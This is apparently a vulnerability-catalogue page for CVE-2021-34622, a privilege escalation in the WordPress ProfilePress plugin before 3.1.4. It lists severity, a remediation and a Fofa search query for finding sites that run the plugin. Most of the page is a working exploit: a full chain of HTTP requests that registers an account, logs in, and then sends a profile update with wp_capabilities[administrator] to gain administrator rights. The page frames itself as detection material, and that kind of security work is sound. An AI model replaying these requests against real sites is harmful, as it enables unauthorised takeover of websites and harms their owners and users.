🔙 목록으로 돌아가기

CVE-2021-34622: WordPress ProfilePress <= 3.1.3 - Privilege Escalation

TitleWordPress ProfilePress <= 3.1.3 - Privilege Escalation
AuthorSourabh-Sahu
SeverityCritical
ImpactAuthenticated users can escalate their privileges to administrator by supplying arbitrary usermeta fields during profile updates, leading to complete WordPress site takeover.
RemediationUpgrade to ProfilePress version 3.1.4 or later.
CVSS Score8.8
EPSS Score0.51775
CVE IDCVE-2021-34622
CWE IDCWE-269
Fofa Querybody="/wp-content/plugins/profilepress"
Tags cve cve2021 wordpress wp-plugin wp profilepress privilege-escalation authenticated intrusive vkev vuln

🔍 Vulnerability Description

ProfilePress plugin before 3.1.4 allows privilege escalation. Due to insufficient validation in the profile update functionality, authenticated users can supply arbitrary usermeta fields, including wp_capabilities, during profile updates. This enables a user to escalate their privileges to administrator.

🌐 HTTP Request

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15
Connection: close
Content-Length: 765
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=WebKitFormBoundarypRyCNwmSkLdfNd7E

--WebKitFormBoundarypRyCNwmSkLdfNd7E

Content-Disposition: form-data; name="reg_username"



jtQRTK

--WebKitFormBoundarypRyCNwmSkLdfNd7E

Content-Disposition: form-data; name="reg_email"



MJALpT@WfsQc.com

--WebKitFormBoundarypRyCNwmSkLdfNd7E

Content-Disposition: form-data; name="reg_password"



fgyUS56Q

--WebKitFormBoundarypRyCNwmSkLdfNd7E

Content-Disposition: form-data; name="reg_password_present"



true

--WebKitFormBoundarypRyCNwmSkLdfNd7E

Content-Disposition: form-data; name="reg_first_name"



IqDn9

--WebKitFormBoundarypRyCNwmSkLdfNd7E

Content-Disposition: form-data; name="reg_last_name"



WSayK

--WebKitFormBoundarypRyCNwmSkLdfNd7E

Content-Disposition: form-data; name="action"



pp_ajax_signup

--WebKitFormBoundarypRyCNwmSkLdfNd7E--
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15
Connection: close
Content-Length: 97
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

action=pp_ajax_login&data=login_username%3DjtQRTK%26login_password%3DfgyUS56Q%26login_form_id%3D1
GET /account/edit-profile/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15
Connection: close
Content-Length: 1186
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=WebKitFormBoundarypRyCNwmSkLdfNd7E

--WebKitFormBoundarypRyCNwmSkLdfNd7E

Content-Disposition: form-data; name="reg_username"



jtQRTK

--WebKitFormBoundarypRyCNwmSkLdfNd7E

Content-Disposition: form-data; name="eup_email"



MJALpT@WfsQc.com

--WebKitFormBoundarypRyCNwmSkLdfNd7E

Content-Disposition: form-data; name="eup_first_name"



IqDn9

--WebKitFormBoundarypRyCNwmSkLdfNd7E

Content-Disposition: form-data; name="eup_last_name"



WSayK

--WebKitFormBoundarypRyCNwmSkLdfNd7E

Content-Disposition: form-data; name="eup_display_name"



IqDn9 WSayK

--WebKitFormBoundarypRyCNwmSkLdfNd7E

Content-Disposition: form-data; name="_wpnonce"



9id4tE

--WebKitFormBoundarypRyCNwmSkLdfNd7E

Content-Disposition: form-data; name="nonce"



iJigmd

--WebKitFormBoundarypRyCNwmSkLdfNd7E

Content-Disposition: form-data; name="ppmyac_form_action"



updateProfile

--WebKitFormBoundarypRyCNwmSkLdfNd7E

Content-Disposition: form-data; name="action"



pp_ajax_editprofile

--WebKitFormBoundarypRyCNwmSkLdfNd7E

Content-Disposition: form-data; name="is_melange"



true

--WebKitFormBoundarypRyCNwmSkLdfNd7E

Content-Disposition: form-data; name="wp_capabilities[administrator]"



1

--WebKitFormBoundarypRyCNwmSkLdfNd7E--

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-34622.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-34622.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A